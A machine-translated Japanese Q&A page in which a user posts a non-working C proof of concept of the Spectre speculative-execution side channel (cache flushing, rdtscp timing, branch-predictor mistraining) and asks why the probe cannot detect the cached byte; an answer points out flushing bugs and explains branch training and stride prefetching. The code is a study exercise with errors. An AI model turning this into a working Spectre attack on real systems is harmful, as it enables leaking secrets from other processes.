web-dev-qa-db-ja.com

Spectre Proof of Concept(PoC)投機的実行-値の確認

この質問に触発され、これに基づいて:

パッチを適用していないシステムがなぜSpectreの影響を受けないように見えるのですか?

他の誰かの質問を「汚染」するのではなく、新しい質問を開きます。

私はこのコードを書きました:

CPUキャッシュに「U」を投機的にロードする必要があります。その後、読み取りタイミングに基づいて、そこにあるかどうかがプローブされます。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

#define CACHELINESIZE   4096
#define REP     100


void main(void)
{
    typedef char line[CACHELINESIZE];
    line A[512];

    // Initialise array to 'A'
    for(int i=0; i<512; i++)
    {
        for(int j=0; j<CACHELINESIZE; j++)
        {
            A[i][j]='A'; 
        }
    }


    // Flush address of i
    for (int i = 0; i < 512; i++)
    {
        _mm_clflush( & A[i]); /* intrinsic for clflush instruction */
    }

    char secret = 'U';
    char any = 'X';

    char* pcheck[REP];
    line* pwrite[REP];

    for(int i=0; i<REP; i++) {
        pcheck[i] = &any; 
        pwrite[i] = A; 
    }

    /*
    for(int i=0;i<REP;i++)
    {
        printf("pcheck: %c\n",*pcheck[i]);
        printf("pwrite: %s\n",*pwrite[i]);
    }
    */

    pcheck[REP-1] = &secret;
    pwrite[REP-1] = A+256;

    /*
    printf("pcheck:%c\n", *pcheck[REP-1]);
    printf("pwrite:%c\n", **pwrite[REP-1]);
    */

    char dummy;
    for(int i=0; i<REP; i++) {
        if (i != (REP-1)) {
            dummy = *pcheck[i];
        }
    }
    int t0,time_taken = 0;
    int junk = 0;

    char * val;
    int mix_i=0;

    int i,j;
    int aux,res;

    char RandomId[26];
    char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};



    srand(time(NULL));

    for(i=0; i<26; i++)
    {
        res = Rand() % 26;
        aux = ListId[res];

        if (ListId[res] != -1)
        {
            RandomId[i] = aux;
            ListId[res] = -1;
        }
        else
            i--;
    }


    for(i=0; i<26; i++)
    {
        t0 = __rdtscp(&junk); 
        val = &A[256+RandomId[i]];
        time_taken = __rdtscp(&junk) - t0;
        printf("trying: %c time: %i\n",RandomId[i],time_taken);

    }
}

実行中:

 ./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94

したがって、CPUキャッシュに何があるかを正確に特定することはできません。これは、多くの場合、同じような低い値を持っているためです。

このアプローチに問題はありますか?

それは私のラップトップでこのバージョンで完璧に機能します:

https://www.exploit-db.com/exploits/43427/

この投稿で上記とバージョンの違いを知っている人はいますか?

最適化せずにコンパイルしました(gcc -O0)

投機的に「U」をロードします

キャッシュをクリアします(clflush)

その後、タイミングを測定します。

1つのコアで実行しました(タスクセット0x1 ./spectre)

負荷も追加しました(stress -i NO_OF_CORES)

誰かアイデア?

更新1:

ここに投機的にロードされると思いました:

/*

The if evaluates to true 99 times in a row  and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.

*/ 
  if (i != (REP-1)) {
    dummy = *pcheck[i];
  }
}

ダミーには 'U'が割り当てられます。つまり、それはCPUキャッシュ内にある必要がありますか?

更新2:

これで十分でしょうか?そういう意味ですか

char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][256] = dummy;   
 }
}

おかげで、

更新3:

これは正しいですか?

for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][i] = dummy;   
 }
}

更新4:

また、タイミングをこのようにすべきではありませんか?

volatile uint8_t * addr;
  for(i=0; i<26; i++)
  {
    mix_i = RandomId[i];
    addr = &A[256][10+mix_i];
    t0 = __rdtscp(&junk); 
    junk = *addr;
    time_taken = __rdtscp(&junk) - t0;
    printf("trying: %c time: %i\n",RandomId[i],time_taken);
  }
}
3
dev

パッチを当てていないマシンにすぐにアクセスできないため、以下はコードからの観察です。一部またはすべてが間違っている可能性があります。また、Windowsマシンでこれを実行しようとしている他の人に向けて-スタック予約制限を増やす必要があります!

私が気づく最初の潜在的な問題は

_mm_clflush( & A[i]); /* intrinsic for clflush instruction */

A [i]のアドレスを取得しています。ただし、A [i]のタイプはlineです-"char line [CACHELINESIZE]"はすでにポインターです。だから私はあなたが正しいアドレスをフラッシュしているとは確信していません-「_mm_clflush(A [i])」を試すことをお勧めします。パッチが適用されたWindowsマシンでこれに変更すると、アクセス時間が約80%増加します。

A for Uのどこにページをロードしますか? Aは、pwrite以外には触れません。私が見る限り、それは使用されていません。また、pwriteは、初期化された場所以外では使用されません。

それ以外にもまだ小さな問題がありますが、上記の2つの大きな問題を修正することをお勧めします。それでも機能しない場合はお知らせください。詳しく調べます。

ストライドの予測とブランチのコンセプトのトレーニングについて説明できればすばらしいと思います。

ストライド予測は、基盤となるシステムが、要求しているデータのパターンに気づき、それをプリフェッチする場所です。ここでのシステムは、ハードウェア、OS、コンパイラのいずれかです。

つまり、あなたがやっていた場合-

for (auto i = 0; i < numPages; ++i) {
    DoSomethingWith(pages[i]);
}

システムがパターンに気づき、それを使用する前に、ページ[i]がキャッシュ(プリフェッチ)されていることを確認する場合があります。この場合、キャッシュの内容を手動で制御しようとしているので、システムにこれを実行させたくないので、Aのデータにアクセスするときのパターンは避けたいと考えています。

ブランチのトレーニングは、ブランチプレディクタの動作を制御しようとしています。この場合、「i!=(REP-1)」が常にtrueブランチであると想定します-そうでない場合も含めます。したがって、trueと評価される同じ演習を複数回繰り返す必要があります。次に、状態がtrueになったときに明らかな変化がないことを確認して、他の方向を選択することになっていると予想されるブランチプレディクターを事前にチップオフにする必要があります。

1
Hector